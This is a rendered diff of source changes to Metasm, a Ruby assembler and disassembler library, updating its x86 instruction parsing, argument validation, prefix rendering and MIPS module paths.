||||
# return the offset of the ModRM (Expression/nil)
|
||||
def instr_args_memoryptr_getoffset(mrm)
|
||||
mrm.imm
|
||||
end
|
||||
|
||||
# define ModRM offset (eg to changing imm into an ExpressionString)
|
||||
def instr_args_memoryptr_setoffset(mrm, imm)
|
||||
mrm.imm = (imm ? Expression[imm] : imm)
|
||||
end
|
||||
|
||||
def shortname
|
||||
"ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}"
|
||||
end
|
||||
end
|
||||
|
||||
X86 = Ia32
|
||||
|
||||
end
|
File diff suppressed because it is too large
Load Diff
|
@ -4,8 +4,8 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/ia32/opcodes'
|
||||
require 'metasm/ia32/encode'
|
||||
require 'metasm/cpu/ia32/opcodes'
|
||||
require 'metasm/cpu/ia32/encode'
|
||||
require 'metasm/parse'
|
||||
|
||||
module Metasm
|
||||
|
@ -99,6 +99,10 @@ class ModRM
|
|||
else
|
||||
b = o
|
||||
end
|
||||
when SimdReg
|
||||
raise otok, 'mrm: too many regs' if i
|
||||
i = o
|
||||
s = 1
|
||||
when Expression
|
||||
if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg)
|
||||
# scaled index
|
||||
|
@ -106,7 +110,7 @@ class ModRM
|
|||
s = o.lexpr
|
||||
i = o.rexpr
|
||||
s, i = i, s if s.kind_of? Reg
|
||||
raise otok, 'mrm: bad scale' unless s.kind_of? Integer
|
||||
raise otok, "mrm: bad scale #{s}" unless [1, 2, 4, 8].include?(s)
|
||||
elsif o.op == :+
|
||||
# recurse
|
||||
walker[o.lexpr]
|
||||
|
@ -153,7 +157,6 @@ end
|
|||
end
|
||||
|
||||
def parse_prefix(i, pfx)
|
||||
# XXX check for redefinition ?
|
||||
# implicit 'true' return value when assignment occur
|
||||
i.prefix ||= {}
|
||||
case pfx
|
||||
|
@ -163,11 +166,14 @@ end
|
|||
when 'repne', 'repnz'; i.prefix[:rep] = 'repnz'
|
||||
when 'code16'; i.prefix[:sz] = 16
|
||||
when 'code32'; i.prefix[:sz] = 32
|
||||
when 'hintjmp', 'ht'; i.prefix[:jmphint] = 'hintjmp'
|
||||
when 'hintnojmp', 'hnt';i.prefix[:jmphint] = 'hintnojmp'
|
||||
when /^seg_([c-g]s)$/; i.prefix[:seg] = SegReg.new(SegReg.s_to_i[$1])
|
||||
end
|
||||
end
|
||||
|
||||
def parse_argregclasslist
|
||||
[Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg]
|
||||
[Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg]
|
||||
end
|
||||
def parse_modrm(lex, tok, cpu)
|
||||
ModRM.parse(lex, tok, cpu)
|
||||
|
@ -230,17 +236,30 @@ end
|
|||
# check if the argument matches the opcode's argument spec
|
||||
def parse_arg_valid?(o, spec, arg)
|
||||
if o.name == 'movsx' or o.name == 'movzx'
|
||||
if not arg.kind_of? Reg and not arg.kind_of? ModRM
|
||||
return
|
||||
if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM)
|
||||
return
|
||||
elsif not arg.sz
|
||||
puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE
|
||||
return
|
||||
elsif spec == :reg # reg=dst, modrm=src (smaller)
|
||||
return (arg.kind_of? Reg and arg.sz >= 16)
|
||||
return (arg.kind_of?(Reg) and arg.sz >= 16)
|
||||
elsif o.props[:argsz]
|
||||
return arg.sz == o.props[:argsz]
|
||||
else
|
||||
return arg.sz <= 16
|
||||
return arg.sz == 16
|
||||
end
|
||||
elsif o.name == 'crc32'
|
||||
if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM)
|
||||
return
|
||||
elsif not arg.sz
|
||||
puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE
|
||||
return
|
||||
elsif spec == :reg
|
||||
return (arg.kind_of?(Reg) and arg.sz >= 32)
|
||||
elsif o.props[:argsz]
|
||||
return arg.sz == o.props[:argsz]
|
||||
else
|
||||
return arg.sz >= 16
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -254,7 +273,7 @@ end
|
|||
cond and
|
||||
case spec
|
||||
when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz])
|
||||
when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz])
|
||||
when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? Reg)
|
||||
when :i; arg.kind_of? Expression
|
||||
when :imm_val1; arg.kind_of? Expression and arg.reduce == 1
|
||||
when :imm_val3; arg.kind_of? Expression and arg.reduce == 3
|
||||
|
@ -267,15 +286,22 @@ end
|
|||
when :seg2A; arg.kind_of? SegReg and arg.val < 4 and arg.val != 1
|
||||
when :eeec; arg.kind_of? CtrlReg
|
||||
when :eeed; arg.kind_of? DbgReg
|
||||
when :modrmA; arg.kind_of? ModRM
|
||||
when :eeet; arg.kind_of? TstReg
|
||||
when :mrm_imm; arg.kind_of? ModRM and not arg.s and not arg.i and not arg.b
|
||||
when :farptr; arg.kind_of? Farptr
|
||||
when :regfp; arg.kind_of? FpReg
|
||||
when :regfp0; arg.kind_of? FpReg and (arg.val == nil or arg.val == 0)
|
||||
when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])))
|
||||
when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
|
||||
when :regmmx; arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))
|
||||
when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128)
|
||||
when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
|
||||
when :regxmm; arg.kind_of? SimdReg and arg.sz == 128
|
||||
when :modrmymm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 256) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
|
||||
when :regymm; arg.kind_of? SimdReg and arg.sz == 256
|
||||
|
||||
when :vexvreg; arg.kind_of? Reg and arg.sz == @size
|
||||
when :vexvxmm, :i4xmm; arg.kind_of? SimdReg and arg.sz == 128
|
||||
when :vexvymm, :i4ymm; arg.kind_of? SimdReg and arg.sz == 256
|
||||
|
||||
when :i8, :u8, :u16
|
||||
arg.kind_of? Expression and
|
||||
(o.props[:setip] or Expression.in_range?(arg, spec) != false) # true or nil allowed
|
||||
|
@ -302,8 +328,8 @@ end
|
|||
else
|
||||
if r = i.args.grep(Reg).first
|
||||
m.sz = r.sz
|
||||
elsif opcode_list_byname[i.opname].all? { |o| o.props[:argsz] }
|
||||
m.sz = opcode_list_byname[i.opname].first.props[:argsz]
|
||||
elsif l = opcode_list_byname[i.opname].map { |o| o.props[:argsz] }.uniq and l.length == 1 and l.first
|
||||
m.sz = l.first
|
||||
else
|
||||
# this is also the size of ctrlreg/dbgreg etc
|
||||
# XXX fpu/simd ?
|
||||
|
@ -320,6 +346,10 @@ end
|
|||
end
|
||||
end
|
||||
|
||||
def check_reserved_name(name)
|
||||
Reg.s_to_i[name]
|
||||
end
|
||||
|
||||
def instr_uncond_jump_to(target)
|
||||
parse_instruction("jmp #{target}")
|
||||
end
|
|
@ -4,7 +4,7 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/ia32/opcodes'
|
||||
require 'metasm/cpu/ia32/opcodes'
|
||||
require 'metasm/render'
|
||||
|
||||
# XXX move context in another file ?
|
||||
|
@ -14,7 +14,7 @@ class Ia32
|
|||
include Renderable
|
||||
end
|
||||
|
||||
[SegReg, DbgReg, CtrlReg, FpReg].each { |c| c.class_eval {
|
||||
[SegReg, DbgReg, TstReg, CtrlReg, FpReg].each { |c| c.class_eval {
|
||||
def render ; [self.class.i_to_s[@val]] end
|
||||
} }
|
||||
[Reg, SimdReg].each { |c| c.class_eval {
|
||||
|
@ -60,12 +60,18 @@ class Ia32
|
|||
|
||||
def render_instruction(i)
|
||||
r = []
|
||||
r << 'lock ' if i.prefix and i.prefix[:lock]
|
||||
r << i.prefix[:rep] << ' ' if i.prefix and i.prefix[:rep]
|
||||
if pfx = i.prefix
|
||||
r << 'lock ' if pfx[:lock]
|
||||
r << pfx[:rep] << ' ' if pfx[:rep]
|
||||
r << pfx[:jmphint] << ' ' if pfx[:jmphint]
|
||||
r << 'seg_' << pfx[:seg] << ' ' if pfx[:seg]
|
||||
end
|
||||
r << i.opname
|
||||
sep = ' '
|
||||
i.args.each { |a|
|
||||
a.instruction = i if a.kind_of? ModRM
|
||||
r << (r.last == i.opname ? ' ' : ', ') << a
|
||||
r << sep << a
|
||||
sep = ', '
|
||||
}
|
||||
r
|
||||
end
|
||||
|
@ -87,5 +93,26 @@ class Ia32
|
|||
h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] }
|
||||
h
|
||||
end
|
||||
|
||||
def gui_hilight_word_regexp_init
|
||||
ret = {}
|
||||
|
||||
%w[a b c d].each { |r|
|
||||
ret["#{r}l"] = "e?#{r}x|#{r}l"
|
||||
ret["#{r}h"] = "e?#{r}x|#{r}h"
|
||||
ret["#{r}x"] = ret["e#{r}x"] = "e?#{r}x|#{r}[hl]"
|
||||
}
|
||||
|
||||
%w[sp bp si di].each { |r|
|
||||
ret[r] = ret["e#{r}"] = "e?#{r}"
|
||||
}
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
def gui_hilight_word_regexp(word)
|
||||
@gui_hilight_word_hash ||= gui_hilight_word_regexp_init
|
||||
@gui_hilight_word_hash[word] or super(word)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,14 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
class Metasm::MIPS < Metasm::CPU
|
||||
end
|
||||
|
||||
require 'metasm/main'
|
||||
require 'metasm/cpu/mips/parse'
|
||||
require 'metasm/cpu/mips/encode'
|
||||
require 'metasm/cpu/mips/decode'
|
||||
require 'metasm/cpu/mips/render'
|
||||
require 'metasm/cpu/mips/debug'
|
|
@ -3,5 +3,5 @@
|
|||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/mips/parse'
|
||||
require 'metasm/cpu/mips/parse'
|
||||
require 'metasm/compile_c'
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue